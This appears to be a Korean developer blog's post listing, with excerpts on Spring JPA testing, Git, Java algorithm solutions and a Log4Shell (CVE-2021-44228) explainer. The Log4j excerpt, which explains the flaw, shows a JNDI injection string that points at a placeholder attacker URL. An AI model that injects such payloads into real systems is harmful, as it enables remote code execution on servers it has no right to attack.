분류 전체보기
-
[Spring JPA] 왜 테스트코드와 실제 어플리케이션코드가 실행이 다르게 될까?Back End/Spring Data JPA 2021. 12. 24. 17:39
실제 API 호출코드는 아무 문제 없이 잘돌아가는데 똑같이 실행될거라 여겨진 테스트코드가 오류를 내뱉거나 쿼리가 예상과는 다르게 작동하는 것을 경험하신분들이라면 잘 찾아 오셨다 🥳🥳🥳 원인은 JUnit 과 Spring Test 에 대한 이해도 부족일 것이다. 모든 테스트 케이스를 다룰 수 없으니 하나만 예시를 들어보겠다. 따라서 해당 현상을 경험하신분이라면 JUnit + Spring Test 에 대해 공부하시는게 좋다. ( 테스트 환경을 실제환경과 동일한 구성을 하기 위해서는 노력이 많이 필요하다. ) 테스트환경 구축방법을 제대로 알지 못한채 테스트 코드를 설계하는 것은 지옥으로 가는 지름길이라는 것을 알아두자. (JPA 도 그렇다) ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 일단 여기까지 오신분들은 영속성이..
-
[Spring] 심각한 Log4j 보안문제 (feat. Slf4j)Back End/Spring Boot 2021. 12. 24. 16:05
제로데이 어택으로 분류되는 log4j CVE-2021-44228 이 2021년 11월 24일에 알리바바 클라우드 보안팀 소속 Chen Zhaojun 의해 보고 되었다. (약 8년동안 방치되었다고 한다) 아파치의 Log4j 로 인해 Remote Code Injection (과거 SQL Injection 과 같이) 이 가능하다는 사실이 알려졌다. 애플, 테슬라, 아마존등에서 이미 이러한 취약점이 발견되었고, 보고 후 많은 테스트들이 시연되었다.. [얼마나 간단하기에?] Log4j 의 JNDI와 LDAP 때문에 생긴 틈인데, 로그가 기록되는 곳(로그인과 사용자입력)을 찾아 ${jndi:sndi:snd://Hacker-URL} 와 같은 값을 추가하면 Hacker-URL 에 호스팅 되어있는 코드가 공격받는 서버에..
-
[Spring JPA] JPA의 사실과 오해 (feat. NHN Cloud)Back End/Spring Data JPA 2021. 12. 23. 14:34
JPA 를 쓰면 쓸수록, 너무 불편한게 많다. 검색으로 원하는 고급정보를 찾기도 어렵다. (정보가 다들 카더라 통신을 통해 대량으로 재생산 되고 있어 깊이가 없을 뿐더러 정확한 검색을 막고 있다.) (깊이 있는 정보는 어딘가에 묻혀있겠지 😢) 그리하여 알짜정보를 찾기 위해 검색의 무한루프에 빠져있던 중 카더라 통신에서 잘 보지 못한 새로운 정보를 알게되어 정리해두고자 한다. (중복된 정보 또한 다시 복습할 겸 정리한다.) * 해당 정보는 NHN Cloud 유튜브채널에서 획득하였습니다. (모든 저작권은 NHN에 있습니다.) 해당 포스팅과는 관련이 없지만 NHN에 관한 포스팅이 너무 재밌어서 공유해봅니다. 헤헿.. 형님과 아우의 대결, NHN VS 네이버!!! | 캐치 뉴스로 확인하는 생생한 취업트렌드 ww..
-
[Dev-Ping9] 백준 2580번 - 스도쿠 (Java) [DFS] [반례 포함]코딩테스트/백준 2021. 12. 23. 12:38
# 문제설명 완전 탐색을 진행하면서 스도쿠 규칙에 맞는 조건만 끝까지 탐색한다. [스도쿠 규칙] 1. 가로 2. 세로 3. 작은 사각형 # 접근 방법 0(빈칸)의 갯수를 탐색해야 할 노드의 갯수로 정의한다. 모든 노드를 dfs 방식으로 탐색하며, 조건에 맞지않을 경우 backtracking 한다. (마지막 노드에 도달한다면 그게 정답) # 주의사항 1. 답이 여러개일 경우에는 처음 발견된 답안을 출력한다. => 처음 발견된 답안을 출력하고 프로그램을 종료하여야 한다. # 코드구현 (반례 포함) import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.util.StringTok..
-
[Git] 변경된 폴더구조가 감지되지 않을 때Git 2021. 12. 21. 00:56
백엔드 포지션으로 혼자 프로젝트를 진행하다가 백엔드 한분이 더 구해져, 정리되지 않은 나의코드를 읽으라기엔 죄책감이 들어 처음부터 백지에서 같이 시작하기로 했다 🤗 프론트 팀과 공유된 깃 레파지토리는 이미 있었으므로 해당 깃에서 백엔드 부분을 초기화 하고 뼈대를 잡기위해 빈 폴더들로 폴더들의 구조를 만들고 push 를 했다. 분명 git status 에는 clean 하다는데.... 하위폴더들이 레파지토리에 올라가지 않는 현상을 경험하였다. .gitignore을 잘못 작성했나? 캐쉬파일이 있는건가..? 폴더 관련 구글링을 해봐도 다들 git init 에 대한 이야기들 뿐.... .git 을 지우고 다시 연결도 해보고, 이것저것 해보다가 겨우 찾아낸 Git 의 상식... 후에 같은 고생을 하지 않기 위해 ...
-
[Dev-Ping9] 백준 9663번 - N-Queen (Java) [DFS]코딩테스트/백준 2021. 12. 19. 15:03
# 문제 설명 퀸들은 같은 대각선과 같은 직선에 있으면 안된다. (조건) 경우의 수를 물으므로 완전탐색을 진행하여야 한다. 완전 탐색을 진행하면서 (조건) 에 부합하는지 검사 한 후, (조건)에 부합한다면 계속 진행하며 (조건)에 부합하지않으면 해당 Path로의 탐색은 중지한다. (BackTracking) # 코드 구현 import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; public class Main{ static boolean[] boardColVisited; static int[] queens; static boolean isPromising(int i, int currentNode){..
-
[Dev-Ping9] 백준 15649번 - N과 M (4) (Java) [DFS]코딩테스트/백준 2021. 12. 18. 17:32
# 문제 설명 N과 M 시리즈 마지막 문제이다. (3)번과 다르게 비내림차순이여야 한다. DFS를 처음 접근하시는분들께 좋은 연습문제시리즈인 것 같다. ** if 문의 or 절은 앞의 조건이 참일 시, 뒤의 조건을 검사하지않는다. (idx-1 이 OutOfArrayIndex Exception을 발생시키지 않음.) # 코드 구현 import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.util.StringTokenizer; public class test{ static boolean[] picked; static int[] space; static StringBuilder sb..
-
[Dev-Ping9] 백준 15649번 - N과 M (3) (Java) [DFS]코딩테스트/백준 2021. 12. 18. 17:24
# 문제설명 DFS 문제이다. N과 M (1)번 문제와 다르게 숫자를 중복으로 고를 수 있다. 노드의 방문처리유무를 표시하지 않아주면 된다. # 코드 구현 import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.util.StringTokenizer; public class Main{ static boolean[] picked; static int[] space; static StringBuilder sb = new StringBuilder(); static void dfs(int idx, int nodeEnd,int limit){ if(idx == limit){ // pri..